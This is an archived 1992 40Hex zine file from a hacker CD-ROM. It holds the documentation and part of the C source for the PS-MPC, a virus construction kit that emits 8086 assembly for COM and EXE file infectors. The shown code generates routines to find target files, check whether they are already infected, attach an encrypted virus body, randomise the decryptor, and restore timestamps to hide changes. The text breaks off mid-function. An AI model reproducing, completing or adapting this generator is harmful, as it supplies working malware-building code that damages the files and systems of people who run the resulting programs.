home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / 40hex_8.001 < prev    next >
Text File  |  1995-01-03  |  58KB  |  1,908 lines

  1. 40Hex Number 8 Volume 2 Issue 4                                       File 001
  2.  
  3.     Once again, -=PHALCON/SKISM=- pisses off the PD scene.  Now anyone
  4. can make their own virus, and give it to Gary Watson, the only guy on
  5. Fidonet who we love.  Without him, we would never get the fame that we
  6. now covet so greatly.  Well, that is until we got our official Pepsi
  7. Gotta Have It Cards.  Thank you Gary.
  8.                                         -) Gheap
  9. ----------------------------- Docs -n- code begin -----------------------------
  10.   
  11.   
  12.   
  13.                                     PS-MPC
  14.                    Pretty Slick Multimedia Personal Computer
  15.                                      (NOT)
  16.                Phalcon/Skism Mass-Produced Code Generator 0.90ß
  17.                              Created by Dark Angel
  18.   
  19.   TABLE OF CONTENTS
  20.   
  21.   TABLE OF CONTENTS                                          i
  22.   DEDICATION                                                 i
  23.   DISCLAIMER                                                ii
  24.   PURPOSE                                                   ii
  25.   WHAT IS THE PS-MPC?                                        1
  26.   USING THE PS-MPC                                           1
  27.   NO ACTIVATION ROUTINES                                     1
  28.   WHY NO IDE                                                 2
  29.   SOURCE CODE AVAILABILITY                                   2
  30.   PROBLEMS                                                   2
  31.   FUTURE ENHANCEMENTS                                        2
  32.   HISTORY OF VIRUS TOOLKITS                                  A
  33.   
  34.   DEDICATION
  35.   
  36.        The author  hereby releases  this program and its source code into the
  37.   public domain  as "freeware."   All  code generated  by the  program  must,
  38.   however, retain  the designation  of said program, although all other parts
  39.   may be  modified at  the user's  discretion.   The  author  dedicates  this
  40.   program to  both the virus and anti-virus communities, both of which profit
  41.   from the introduction of the Phalcon/Skism Mass-Produced Code Generator.
  42.   
  43.        Thanks are  due to  NoWhere Man  for his  excellent program VCL, which
  44.   served as the inspiration for this package.
  45.   
  46.   
  47.   
  48.   
  49.   
  50.   
  51.   
  52.   
  53.   
  54.   
  55.   
  56.   
  57.   
  58.   
  59.   
  60.   
  61.   
  62.   
  63.   
  64.   
  65.   
  66.   
  67.   
  68.   
  69.   
  70.   
  71.   
  72.   
  73.   
  74.      PS-MPC Documentation             - i -             Phalcon/Skism 1992
  75.   
  76.   
  77.   
  78.   DISCLAIMER
  79.   
  80.        This  program  may  cause  either  the  intentional  or  unintentional
  81.   disruption of  normal brain  wave activity  of the  user due to the extreme
  82.   shock quality  of the  program.   The author hereby absolves himself of all
  83.   liability.  Persons with pacemakers beware!
  84.   
  85.        The code  produced by  the Phalcon/Skism  Mass-Produced Code Generator
  86.   is not  designed to be damaging; however, the author is not responsible for
  87.   incidental damages  caused by  use of  the program.  Further, the author is
  88.   not responsible  for damages caused by changes to the code generated by the
  89.   PS-MPC.   The author does not condone the illegal spread of executable code
  90.   created in part or in whole by the PS-MPC.  All source code and  executable
  91.   files created with the aid of the PS-MPC must be distributed with the reci-
  92.   pient's full knowledge  of the  contents.    Malicious use  of the  code is
  93.   strictly prohibited.
  94.   
  95.   PURPOSE
  96.   
  97.        The Phalcon/Skism  Mass-Produced Code  Generator is  not  designed  to
  98.   create malicious  code; rather,  it is  a learning tool from which a person
  99.   may learn  to write effective viral code.  The code generated by the PS-MPC
  100.   is highly  optimised for  both size  and speed  and is  therefore the  code
  101.   generated can  be used  by the fledgling virus writer as a model for future
  102.   endeavours.
  103.   
  104.   
  105.   
  106.   
  107.   
  108.   
  109.   
  110.   
  111.   
  112.   
  113.   
  114.   
  115.   
  116.   
  117.   
  118.   
  119.   
  120.   
  121.   
  122.   
  123.   
  124.   
  125.   
  126.   
  127.   
  128.   
  129.   
  130.   
  131.   
  132.   
  133.   
  134.   
  135.   
  136.   
  137.   
  138.   
  139.      PS-MPC Documentation            - ii -             Phalcon/Skism 1992
  140.   
  141.   
  142.   
  143.   WHAT IS THE PS-MPC?
  144.   
  145.        The  Phalcon/Skism  Mass-Produced  Code  Generator  is  a  tool  which
  146.   generates viral  code according  to user-designated  specifications.    The
  147.   output is  in Masm/Tasm-compatible  Intel 8086 assembly and it is up to the
  148.   user to  assemble the output into working executable form.  The features of
  149.   the PS-MPC include the following:
  150.   
  151.     o Over  150 encryption  techniques, randomly generated during each run of
  152.       the PS-MPC
  153.     o Compact, commented code, much tighter than VCL
  154.     o COM/EXE infections
  155.     o Two types of traversals
  156.     o Optional infection of Command.Com
  157.     o Critical error handler support
  158.   
  159.   USING THE PS-MPC
  160.   
  161.        The syntax of the PS-MPC is simple:
  162.   
  163.        PS-MPC <file1> <file2> <file3>...
  164.   
  165.        The parameters  given to the PS-MPC are the names of the configuration
  166.   files.  For example, to create two separate viruses using the configuration
  167.   files  FOOBAR1.CFG   and  FOOBAR2.CFG,   simply  type  "PS-MPC  FOOBAR1.CFG
  168.   FOOBAR2.CFG" at the prompt.
  169.   
  170.        The configuration  file is  a text file containing a set of parameters
  171.   which define  the output  of the  PS-MPC.   A  sample  configuration  file,
  172.   SKELETON.CFG is  included  with  the  package.    This  configuration  file
  173.   contains all  the acceptable  parameters that  the PS-MPC  will accept.  It
  174.   also includes  the defaults to each of these parameters.  The configuration
  175.   file is  self-explanatory, so there is no need to go into further detail at
  176.   this time.
  177.   
  178.        When the  Generator has  completed creating  the source  code  file/s,
  179.   simply assemble  the output  file/s  with  your  favorite  assembler/linker
  180.   combination.  A multi-pass assembler is recommended.  Masm is a poor choice
  181.   for an  assembler; try  Tasm.   Masm requires  the code  to  include  extra
  182.   segment overrides which unnecessarily add to the code length.  Masm 6.0 may
  183.   fix these  problems (I'm  not sure  since I  don't have  it).  Tasm, on the
  184.   other hand,  is an  excellent, fast,  multipass assembler  far superior  to
  185.   Masm.
  186.   
  187.   NO ACTIVATION ROUTINES
  188.   
  189.        I have  not included  any activation  routines in  the package  simply
  190.   because I  do not  think  the  power  of  creating  potentially-destructive
  191.   viruses should  be in  the hands  of persons  incapable of  coding a simple
  192.   activation routine  in assembly.   If  you can rip a simple FAT-annihilator
  193.   out of  another trojan,  then I  cannot stop  you from  doing so.  But just
  194.   remember that  the most  memorable viruses  are not  necessarily those that
  195.   cause the  most damage,  but are usually those that have unusual activation
  196.   routines.
  197.   
  198.        Upon finding  activation conditions,  the PS-MPC will generate a short
  199.   stub for  the activation  routine.   This is  located immediately after the
  200.   code for  the restoration of the executable files.  It is identified by the
  201.   label "activate"  and is  followed by a return.  Insert your own activation
  202.   routine between those two lines.
  203.   
  204.      PS-MPC Documentation             - 1 -             Phalcon/Skism 1992
  205.   
  206.   
  207.   
  208.   WHY NO IDE (Integrated Development Environment)
  209.   
  210.        Everyone agrees  that Microsoft  Windows is  for cripples.  Obviously,
  211.   you, the  user of  the PS-MPC, are no cripple, so you need no puny IDE with
  212.   colourful, deluxe  windows to  aid you.  If you are a cripple, go ahead and
  213.   create the  configuration file in your favorite Windows text editor.  Hell,
  214.   port the  code to  the Macintosh  and you  can be  truly crippled (although
  215.   you'll have your pretty windows and icons).
  216.   
  217.   SOURCE CODE AVAILABILITY
  218.   
  219.        This program  is distributed  with full  source code.    Although  the
  220.   source should  be self-explanatory,  I have gone back and commented several
  221.   portions in  order to facilitate understanding.  The program was written in
  222.   Turbo C  2.0 and  compiled in the tiny memory model.  I trust that you will
  223.   not hack  this program and call it your own.  Source code is available only
  224.   because I think it will aid in your understanding of the program.
  225.   
  226.   PROBLEMS
  227.   
  228.        This program  was written  hastily.    The  bulk  of  the  coding  was
  229.   completed in  under two  days.   Features were  added  by  the  process  of
  230.   accretion during  the following  week.   Needless to  say, the  code is now
  231.   extremely unmanageable.  If there is enough interest in the package, I will
  232.   rewrite it  in order  to alleviate  the strain  caused in  maintaining such
  233.   code.  This will help in adding features as the need arises.
  234.  
  235.        There MAY be some bugs in this version since it hasn't been thoroughly
  236.   tested yet.  Report all bugs to me (duh). Be sure to save the configuration
  237.   file of the faulty code so the bug may be reproduced.  Better yet, find the
  238.   problem, fix the C source, and send it to me.  Zowie!
  239.   
  240.   FUTURE ENHANCEMENTS
  241.   
  242.        As you  may have already noticed, this is a pre-1.0 release version of
  243.   the Generator.   There  are several  features which  I wish  to add  before
  244.   version 1.0.   These  include, but  are not  limited to,  resident viruses,
  245.   padded-EXE infections  (shorter routine),  and better  documentation(!).  A
  246.   few surprises  will be  thrown in as well.  I do not plan on increasing the
  247.   size of  the PS-MPC.COM file dramatically, so with every addition will come
  248.   code to  keep the  increase in  file size to a minimum.  I do not intend to
  249.   devote too  much time to the project as I personally don't actually use the
  250.   generator to spew out code for the group.
  251.   
  252.   Note: The  version included with 40Hex-8 is not the latest version.  Due to
  253.   space considerations, we could not include the source code to version 0.91ß
  254.   which is somewhat larger.
  255.   
  256.   
  257.   
  258.   
  259.   
  260.   
  261.  
  262.   
  263.   
  264.   
  265.   
  266.   
  267.   
  268.   
  269.      PS-MPC Documentation             - 2 -             Phalcon/Skism 1992
  270.   
  271.   
  272.   
  273.   HISTORY OF VIRUS TOOLKITS
  274.   
  275.        The first  known virus  toolkit was  called VCS, or Virus Construction
  276.   Set.   This program  generated a  new virus each time it was run.  However,
  277.   there were  no code differences at all between any two viruses generated by
  278.   VCS.   All viruses  generated were  1077 bytes  in length  and all could be
  279.   detected with  the identical  scan string.   The advantage in this approach
  280.   was that  the user  needed absolutely no knowledge of 8086 assembly to take
  281.   advantage of this program.  This program of limited usefulness spawned only
  282.   one well-known variant called Manta.  It is not even worth mentioning here.
  283.   
  284.        The second  virus toolkit  was CrazySoft, Inc.'s Dark Avenger Mutation
  285.   Engine (MtE).   This  magnificent work  of Bulgarian  coding allowed  virus
  286.   authors to  create viruses  with an  almost limitless  number of decryption
  287.   routines.   Although the  author needed  to know how to write 8086 assembly
  288.   code, no  knowledge of  the inner workings of MtE save the entry parameters
  289.   was needed  to use  this toolkit.   It  has since  spawned several viruses,
  290.   including Dedicated, Pogue, Fear, and Groove.
  291.   
  292.        The next  virus toolkit  to be released was VCL, or Virus Construction
  293.   Laboratory.  This was written by NoWhere Man of NuKE.  This toolkit allowed
  294.   the user  many options,  including the creation of parasitic COM infectors,
  295.   spawning EXE infectors, trojan horses and logic bombs.  Since it could only
  296.   handle parasitic  infections of  the COM  file format,  it was  of  limited
  297.   usefulness.   Additionally, it  incorporated only  one decryption  formula,
  298.   once again  limiting its usefulness.  Further, the initial release included
  299.   a quirky  installation program  which  failed  to  install  properly  under
  300.   certain conditions.   However,  this  package  contained  a  colourful  IDE
  301.   loosely based  on the Borland interface.  This IDE was incredibly simple to
  302.   use and  even the  average Joe  could understand  how  to  use  it  without
  303.   understanding 80x86  assembly.    Unfortunately,  the  activation  routines
  304.   included with  the package  were of  limited usefulness.    Most  of  these
  305.   involved manipulating the BIOS memory area at segment 40h.
  306.   
  307.   
  308.   
  309.   
  310.   
  311.   
  312.   
  313.   
  314.   
  315.   
  316.   
  317.   
  318.   
  319.   
  320.   
  321.   
  322.   
  323.   
  324.   
  325.   
  326.   
  327.   
  328.   
  329.   
  330.   
  331.   
  332.   
  333.   
  334.      PS-MPC Documentation             - A -             Phalcon/Skism 1992
  335.   
  336. ------------------------------ Source code begins -----------------------------
  337. /* FILE: VHEADER.H */
  338. #ifndef __VHEADER_H
  339. #define __VHEADER_H
  340.  
  341. /* infect */
  342. #define COM     1
  343. #define EXE     2
  344.  
  345. /* traverse */
  346. #define NONE    0
  347. #define DOT_DOT 1
  348.  
  349. typedef struct {
  350.   char always;
  351.   char number;
  352.   char month;
  353.   char day;
  354.   int  year;
  355.   char dow;
  356.   int  monthday;
  357.   char hour;
  358.   char minute;
  359.   char second;
  360.   char percentage;
  361. } activation_conditions;
  362.  
  363. typedef struct {
  364.   unsigned infectCOM   : 1;
  365.   unsigned infectEXE   : 1;
  366.   unsigned traverse    : 1;       /* Currently only two types */
  367.   unsigned encrypt     : 1;
  368.   unsigned int24       : 1;
  369.   unsigned CommandCom  : 1;
  370.   unsigned allowzero   : 1;
  371.   unsigned calls_check : 1;
  372. } parameters;
  373.  
  374. typedef struct {
  375.   char       configfilename[80];
  376.   char       asmfilename[80];
  377.   char       id[3];
  378.   char       virusname[80];
  379.   char       virusnamedelim;
  380.   char       authorname[80];
  381.   char       authornamedelim;
  382.   unsigned   minsize, maxsize;
  383.   char       maxinfect;
  384.   parameters p;
  385.   char       xor_value;
  386.   char       xor_comment[40];
  387.   char       activation;
  388.   activation_conditions activate, plusminus;
  389. } globals;
  390.  
  391. /* prototypes from vmain.c */
  392. void print(char *s, char *t);
  393. void printlabel(char *s, char *t);
  394. void addvar(char *s, char *t, char *u);
  395. void printblank(void);
  396.  
  397. /* prototypes from vheap.c */
  398. void addheap(char *s, char *t, char *u);
  399. void _addheap(char *s);
  400. void resetheap(void);
  401.  
  402. /* code generating prototypes */
  403. void code_header(void);
  404. void code_encryption(void);
  405. void code_setup(void);
  406. void code_traversal(void);
  407. void code_check_activation(void);
  408. void code_return(void);
  409. void code_activate(void);
  410. void code_messages(void);
  411. void code_check(void);
  412. void code_infect(void);
  413. void code_subroutines(void);
  414. void code_variables(void);
  415. void code_heap(void);
  416. void code_tail(void);
  417.  
  418. #ifndef MAIN
  419. extern globals config;
  420. #endif
  421.  
  422. #endif /* __VHEADER_H */
  423. ----------------------------------- Cut Here ----------------------------------
  424. /* FILE: VACTIVE.C */
  425. #include "vheader.h"
  426.  
  427. void code_activate(void)
  428. {
  429.   if (config.activation)
  430.   {
  431.     printlabel("activate:","Conditions satisfied");
  432.     printlabel("; Insert your activation code here","");
  433.     print("jmp  exit_virus","");
  434.     printblank();
  435.   }
  436. }
  437. ----------------------------------- Cut Here ----------------------------------
  438. /* FILE: VCACTIVE.C */
  439. #include "vheader.h"
  440.  
  441. void code_get_date(void);
  442. void code_get_time(void);
  443. void code_jmp(char c);
  444.  
  445. char coded_date, coded_time, Activation;
  446.  
  447. void code_check_activation(void)
  448. {
  449.   char b[80];
  450.  
  451.   coded_date = coded_time = 0;
  452.   Activation = config.activation;
  453.  
  454.   if (config.activate.always)
  455.     printlabel("jmp  activate","Always activate");
  456.   else {
  457.     if (config.activate.month) {
  458.       code_get_date();
  459.       sprintf(b,"cmp  dh,%d",config.activate.month);
  460.       print(b,"Check month");
  461.       code_jmp(config.plusminus.month);
  462.     }
  463.     if (config.activate.day) {
  464.       code_get_date();
  465.       sprintf(b,"cmp  dl,%d",config.activate.day);
  466.       print(b,"Check date");
  467.       code_jmp(config.plusminus.day);
  468.     }
  469.     if (config.activate.year) {
  470.       code_get_date();
  471.       sprintf(b,"cmp  cx,%u",config.activate.year);
  472.       print(b,"Check year");
  473.       code_jmp(config.plusminus.year);
  474.     }
  475.     if (config.activate.dow != 255) {
  476.       code_get_date();
  477.       sprintf(b,"cmp  al,%d",config.activate.dow);
  478.       print(b,"Check date of week");
  479.       code_jmp(config.plusminus.dow);
  480.     }
  481.     if (config.activate.monthday) {
  482.       code_get_date();
  483.       sprintf(b,"cmp  dx,0%xuh",config.activate.monthday);
  484.       print(b,"Check month/date");
  485.       code_jmp(config.plusminus.monthday);
  486.     }
  487.  
  488.     if (coded_date) printblank();
  489.  
  490.     if (config.activate.hour != 255) {
  491.       code_get_time();
  492.       sprintf(b,"cmp  ch,%d",config.activate.hour);
  493.       print(b,"Check the hour");
  494.       code_jmp(config.plusminus.hour);
  495.     }
  496.     if (config.activate.minute != 255) {
  497.       code_get_time();
  498.       sprintf(b,"cmp  cl,%d",config.activate.minute);
  499.       print(b,"Check the minute");
  500.       code_jmp(config.plusminus.minute);
  501.     }
  502.     if (config.activate.second != 255) {
  503.       code_get_time();
  504.       sprintf(b,"cmp  dh,%d",config.activate.second);
  505.       print(b,"Check the seconds");
  506.       code_jmp(config.plusminus.second);
  507.     }
  508.     if (config.activate.percentage) {
  509.       code_get_time();
  510.       sprintf(b,"cmp  dl,%d",config.activate.percentage);
  511.       print(b,"Check the percentage");
  512.       code_jmp(-1);
  513.  
  514.     if (coded_time) printblank();
  515.     }
  516.   }
  517. }
  518.  
  519. void code_jmp(char c)
  520. {
  521.   if (--Activation) {
  522.     if (c == 1)
  523.       print("jb   exit_virus","");
  524.     else if (c == 0)
  525.       print("jnz  exit_virus","");
  526.     else if (c == 255)
  527.       print("ja   exit_virus","");
  528.   } else {
  529.     if (c == 1)
  530.       print("jae  config.activate","");
  531.     else if (c == 0)
  532.       print("jz   config.activate","");
  533.     else if (c == 255)
  534.       print("jbe  config.activate","");
  535.   }
  536. }
  537.  
  538. void code_get_date(void)
  539. {
  540.   if (!coded_date) {
  541.     print("mov  ah,2ah","Get current date");
  542.     print("int  21h","");
  543.     coded_date++;
  544.   }
  545. }
  546.  
  547. void code_get_time(void)
  548. {
  549.   if (!coded_time) {
  550.     print("mov  ah,2ch","Get current time");
  551.     print("int  21h","");
  552.     coded_time++;
  553.   }
  554. }
  555. ----------------------------------- Cut Here ----------------------------------
  556. /* FILE: VCHECK.C */
  557. #include "vheader.h"
  558.  
  559. void checkCOM(void);
  560.  
  561. void code_check(void)
  562. {
  563.   if (config.p.calls_check)
  564.     printlabel("infect_mask:","");
  565.   print("mov  ah,4eh","find first file");
  566.   print("mov  cx,7","any attribute");
  567.   printlabel("findfirstnext:","");
  568.   print("int  21h","DS:DX points to mask");
  569.   if (config.p.calls_check)
  570.     print("jc   exit_infect_mask","No mo files found");
  571.   else
  572.     print("jc   done_infections","No mo files found");
  573.   printblank();
  574.   print("mov  al,0h","Open read only");
  575.   print("call open","");
  576.   printblank();
  577.   print("mov  ah,3fh","Read file to buffer");
  578.   print("lea  dx,[bp+buffer]","@ DS:DX");
  579.   print("mov  cx,1Ah","1Ah bytes");
  580.   print("int  21h","");
  581.   printblank();
  582.   print("mov  ah,3eh","Close file");
  583.   print("int  21h","");
  584.   printblank();
  585.   if (config.p.infectEXE) {
  586.     if (config.p.infectCOM) {
  587.       print("cmp  word ptr [bp+buffer],'ZM'","EXE?");
  588.       print("jz   checkEXE","Why yes, yes it is!");
  589.       checkCOM();
  590.     }
  591.     printlabel("checkEXE: cmp  word ptr [bp+buffer+10h],id","is it already infected?");
  592.     print("jnz  infect_exe","");
  593.   } else
  594.     checkCOM();
  595.   printlabel("find_next:","");
  596.   print("mov  ah,4fh","find next file");
  597.   print("jmp  short findfirstnext","");
  598.   if (config.p.calls_check) {
  599.     printlabel("exit_infect_mask: ret","");
  600.     printblank();
  601.   }
  602. }
  603.  
  604. void checkCOM(void)
  605. {
  606.   char s[80];
  607.  
  608.   printlabel("checkCOM:","");
  609.   if (!config.p.CommandCom)
  610.   {
  611.     print("mov  ax,word ptr [bp+newDTA+35]","Get tail of filename");
  612.     print("cmp  ax,'DN'","Ends in ND? (commaND)");
  613.     print("jz   find_next","");
  614.     printblank();
  615.   }
  616.   print("mov  ax,word ptr [bp+newDTA+1Ah]","Filesize in DTA");
  617.   if (config.minsize)
  618.   {
  619.     if (config.minsize == 1) /* automatic calculation */
  620.       if (config.p.encrypt)
  621.         strcpy(s,"cmp  ax,(heap-decrypt)");
  622.       else
  623.         strcpy(s,"cmp  ax,(heap-startvirus)");
  624.     else  /* if (minsize != 1) */
  625.       sprintf(s,"cmp  ax,%u",config.minsize);
  626.     print(s,"Is it too small?");
  627.     print("jb   find_next","");
  628.     printblank();
  629.   }
  630.   if (config.maxsize)
  631.   {
  632.     if (config.maxsize == 1) /* automatic calculation */
  633.       if (config.p.encrypt)
  634.         strcpy(s,"cmp  ax,65535-(endheap-decrypt)");
  635.       else
  636.         strcpy(s,"cmp  ax,65535-(endheap-startvirus)");
  637.     else
  638.       sprintf(s,"cmp  ax,%u",config.maxsize);
  639.     print(s,"Is it too large?");
  640.     print("ja   find_next","");
  641.     printblank();
  642.   }
  643.  
  644.   print("mov  bx,word ptr [bp+buffer+1]","get jmp location");
  645.   if (config.p.encrypt)
  646.     print("add  bx,heap-decrypt+3","Adjust for virus size");
  647.   else
  648.     print("add  bx,heap-startvirus+3","Adjust for virus size");
  649.   print("cmp  ax,bx","");
  650.   print("je   find_next","already infected");
  651.   print("jmp  infect_com","");
  652. }
  653. ----------------------------------- Cut Here ----------------------------------
  654. /* VENCRYPT.C */
  655. #include <stdlib.h>
  656.  
  657. #include "vheader.h"
  658.  
  659. void code_loop_count(void);
  660. void code_loop_start(void);
  661. void code_decrypt_code(void);
  662.  
  663. char mem_counter;
  664. char mem_registers[4][3] = {
  665.   "bx",
  666.   "bp",
  667.   "si",
  668.   "di"
  669. };
  670.  
  671. char loop_counter;
  672. char loop_registers[7][3] = {
  673.   "ax", "bx", "cx", "dx", "bp", "si", "di"
  674. };
  675.  
  676. char xor_registers[4][2] = {
  677.   { 0x81, 0x37 },
  678.   { 0x81, 0x76 },
  679.   { 0x81, 0x34 },
  680.   { 0x81, 0x35 }
  681. };
  682.  
  683. char add_registers[4][2] = {
  684.     { 0x81, 0x07 }, /* add [bx],xxxx / db 81h, 7h,xxh,xxh    */
  685.     { 0x81, 0x46 }, /* add [bp],xxxx / db 81h,46h,00,xxh,xxh */
  686.     { 0x81, 0x04 },
  687.     { 0x81, 0x05 },
  688. };
  689.  
  690. void code_encryption(void)
  691. {
  692.   if (config.p.encrypt) {
  693.     srand(peek(0,0x46C));
  694.     printlabel("decrypt:","handles encryption and decryption");
  695.     if ((loop_counter = random(10)) > 6)   /* if out of bounds */
  696.       loop_counter = 2;                    /* set it = to cx   */
  697.     while (1) {
  698.       mem_counter = random(4);
  699.       if (strcmp(mem_registers[mem_counter = random(4)],
  700.         loop_registers[loop_counter]))
  701.         break;
  702.     }
  703.     if (random(2)) {
  704.       code_loop_count();
  705.       code_loop_start();
  706.     } else {
  707.       code_loop_start();
  708.       code_loop_count();
  709.     }
  710.     code_decrypt_code();
  711.   }
  712. }
  713.  
  714. void code_loop_count(void)
  715. {
  716.   char b[80];
  717.   sprintf(b,"mov  %s,(offset heap - offset startencrypt)/2",
  718.           loop_registers[loop_counter]);
  719.   print(b,"iterations");
  720. }
  721.  
  722. void code_loop_start(void)
  723. {
  724.   char b[80];
  725.   printlabel("patch_startencrypt:","");
  726.   sprintf(b,"mov  %s,offset startencrypt",
  727.           mem_registers[mem_counter]);
  728.   print(b,"start of decryption");
  729. }
  730.  
  731. void code_decrypt_code(void)
  732. {
  733.     char b[80],c[80];
  734.     printlabel("decrypt_loop:","");
  735.     config.xor_value = 0;
  736.     switch (random(2))
  737.     {
  738.       case 0 : sprintf(b,"db   %s%2.2xh,%2.2xh%s",
  739.                (config.p.infectEXE) ? "2eh," : "", xor_registers[mem_counter][0],
  740.                xor_registers[mem_counter][1],(mem_counter == 1) ? ",0":"");
  741.  
  742.                sprintf(c,"xor word ptr %s[%s], xxxx",
  743.                (config.p.infectEXE) ? "cs:" : "",mem_registers[mem_counter]);
  744.                break;
  745.       case 1 : sprintf(b,"db   %s%2.2xh,%2.2xh%s",
  746.                (config.p.infectEXE) ? "2eh," : "", add_registers[mem_counter][0],
  747.                add_registers[mem_counter][1],(mem_counter == 1) ? ",0":"");
  748.  
  749.                sprintf(c,"add word ptr %s[%s], xxxx",
  750.                (config.p.infectEXE) ? "cs:" : "",mem_registers[mem_counter]);
  751.                config.xor_value = 0x28;
  752.                strcpy(config.xor_comment,"flip between add/sub");
  753.                break;
  754.     }
  755.     print(b,c);
  756.     printlabel("decrypt_value dw 0","initialised at zero for null effect");
  757.     sprintf(c,"inc  %s",mem_registers[mem_counter]);
  758.     print(c,"calculate new decryption location");
  759.     print(c,"");
  760.     if (loop_counter - 2)
  761.     {
  762.       sprintf(b,"dec  %s",loop_registers[loop_counter]);
  763.       print(b,"If we are not done, then");
  764.       print("jnz  decrypt_loop","decrypt mo'");
  765.     } else
  766.       print("loop decrypt_loop","decrypt mo'");
  767.     printlabel("startencrypt:","");
  768. }
  769. ----------------------------------- Cut Here ----------------------------------
  770. /* FILE: VHEADER.C */
  771. #include "vheader.h"
  772.  
  773. void code_header(void)
  774. {
  775.   char b[80];
  776.   sprintf(b,"; %s : %s by %s",config.asmfilename,
  777.          (config.virusname[0]) ? config.virusname : "Unknown",
  778.          (config.authorname[0])? config.authorname: "Unknown");
  779.   printlabel(b,"");
  780.   printlabel("; Created wik the Phalcon/Skism Mass-Produced Code Generator","");
  781.   sprintf(b,"; from the configuration file %s",config.configfilename);
  782.   printlabel(b,"");
  783.   printblank();
  784.   printlabel(".model tiny","Handy directive");
  785.   printlabel(".code","Virus code segment");
  786.   print("org    100h","COM file starting IP\n");
  787.   if (config.p.infectEXE)
  788.   {
  789.     sprintf(b,"id = '%s'",config.id);
  790.     printlabel(b,"ID word for EXE infections");
  791.   }
  792.   if (config.p.infectCOM)
  793.     if (config.p.encrypt)
  794.       printlabel("entry_point: db 0e9h,0,0","jmp decrypt");
  795.     else
  796.       printlabel("entry_point: db 0e9h,0,0","jmp startvirus");
  797.   printblank();
  798. }
  799. ----------------------------------- Cut Here ----------------------------------
  800. /* FILE: VHEAP.C */
  801. #include "vheader.h"
  802.  
  803. char heap[30][80];
  804. char max;
  805.  
  806. void code_heap(void)
  807. {
  808.   printlabel("heap:","Variables not in code");
  809.   if (max)
  810.     while (max--)
  811.       printlabel(heap[max],"");
  812.   else
  813.     printlabel("; No heap to speak of","");
  814.   printlabel("endheap:","End of virus");
  815. }
  816.  
  817. void addheap(char *s, char *t, char *u)
  818. {
  819.   if (*u)
  820.     sprintf(heap[max++],"%-20.20s%-20.20s; %-37.37s",s,t,u);
  821.   else
  822.     sprintf(heap[max++],"%-20.20s%s",s,t);
  823. }
  824.  
  825. void _addheap(char *s)
  826. {
  827.   strcpy(heap[max++],s);
  828. }
  829.  
  830. void resetheap(void)
  831. {
  832.     max=0;
  833. }
  834. ----------------------------------- Cut Here ----------------------------------
  835. /* FILE: VINFECT.C */
  836. #include "vheader.h"
  837.  
  838. void write_encrypt(void);
  839. void code_infect_EXE(void);
  840.  
  841. void code_infect(void)
  842. {
  843.   if (config.p.infectEXE) {
  844.     printlabel("infect_exe:","");
  845.     code_infect_EXE();
  846.     if (config.p.infectCOM)
  847.       print("jmp  short finishinfection","");
  848.   }
  849.   if (config.p.infectCOM) {
  850.     printlabel("infect_com:","ax = filesize");
  851.     print("mov  cx,3","");
  852.     print("sub  ax,cx","");
  853.     print("lea  si,[bp+offset buffer]","");
  854.     print("lea  di,[bp+offset save3]","");
  855.     print("movsw","");
  856.     print("movsb","");
  857.     print("mov  byte ptr [si-3],0e9h","");
  858.     print("mov  word ptr [si-2],ax","");
  859.     if (config.p.encrypt)
  860.     {
  861.       print("add  ax,103h","");
  862.       print("push ax","needed later");
  863.     }
  864.   }
  865.   printlabel("finishinfection:","");
  866.   print("push cx","Save # bytes to write");
  867.   print("xor  cx,cx","Clear attributes");
  868.   print("call attributes","Set file attributes");
  869.   printblank();
  870.   print("mov  al,2","");
  871.   print("call open","");
  872.   printblank();
  873.   print("mov  ah,40h","Write to file");
  874.   print("lea  dx,[bp+buffer]","Write from buffer");
  875.   print("pop  cx","cx bytes");
  876.   print("int  21h","");
  877.   printblank();
  878.   print("mov  ax,4202h","Move file pointer");
  879.   print("xor  cx,cx","to end of file");
  880.   print("cwd","xor dx,dx");
  881.   print("int  21h","");
  882.   printblank();
  883.   if (config.p.encrypt) {
  884.     write_encrypt();
  885.   } else {
  886.     print("mov  ah,40h","Concatenate virus");
  887.     print("lea  dx,[bp+startvirus]","");
  888.     print("mov  cx,heap-startvirus","# bytes to write");
  889.     print("int  21h","");
  890.     printblank();
  891.   }
  892.   print("mov  ax,5701h","Restore creation date/time");
  893.   print("mov  cx,word ptr [bp+newDTA+16h]","time");
  894.   print("mov  dx,word ptr [bp+newDTA+18h]","date");
  895.   print("int  21h","");
  896.   printblank();
  897.   print("mov  ah,3eh","Close file");
  898.   print("int  21h","");
  899.   printblank();
  900.   print("mov ch,0","");
  901.   print("mov cl,byte ptr [bp+newDTA+15h]","Restore original");
  902.   print("call attributes","attributes");
  903.   printblank();
  904.   if (config.maxinfect)
  905.   {
  906.     print("dec  byte ptr [bp+numinfec]","One mo infection");
  907.     print("jnz  mo_infections","Not enough");
  908.     if (config.p.calls_check)
  909.       print("pop  ax","remove call from stack");
  910.     print("jmp  done_infections","");
  911.   }
  912.   printlabel("mo_infections: jmp find_next","");
  913.   printblank();
  914. }
  915.  
  916. void write_encrypt(void)
  917. {
  918.   if (!config.p.allowzero)
  919.     printlabel("get_encrypt_value:","");
  920.   print("mov  ah,2ch","Get current time");
  921.   print("int  21h","dh=sec,dl=1/100 sec");
  922.   if (!config.p.allowzero) {
  923.     print("or  dx,dx","Check if encryption value = 0");
  924.     print("jz  get_encrypt_value","Get another if it is");
  925.   }
  926.   print("mov  [bp+decrypt_value],dx","Set new encryption value");
  927.   addheap("code_store:","db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)","");
  928.  _addheap("; The following code is the buffer for the write function");
  929.   print("lea  di,[bp+code_store]","");
  930.   print("mov  ax,5355h","push bp,push bx");
  931.   print("stosw","");
  932.   print("lea  si,[bp+decrypt]","Copy encryption function");
  933.   print("mov  cx,startencrypt-decrypt","Bytes to move");
  934.   print("push si","Save for later use");
  935.   print("push cx","");
  936.   print("rep  movsb","");
  937.   printblank();
  938.   if (config.xor_value)
  939.   {
  940.     char b[80];
  941.     sprintf(b,"xor  byte ptr [bp+decrypt_loop+%c],0%2.2xh",
  942.            (config.p.infectEXE) ? '2' : '1', config.xor_value);
  943.     print(b,config.xor_comment);
  944.     printblank();
  945.   }
  946.   print("lea    si,[bp+write]","Copy writing function");
  947.   print("mov    cx,endwrite-write","Bytes to move");
  948.   print("rep    movsb","");
  949.   print("pop    cx","");
  950.   print("pop    si","");
  951.  
  952.   print("pop    dx","Entry point of virus");
  953.  
  954.   print("push   di","");
  955.   print("push   si","");
  956.   print("push   cx","");
  957.   print("rep    movsb","Copy decryption function");
  958.   print("mov    ax,5b5dh","pop bx,pop bp");
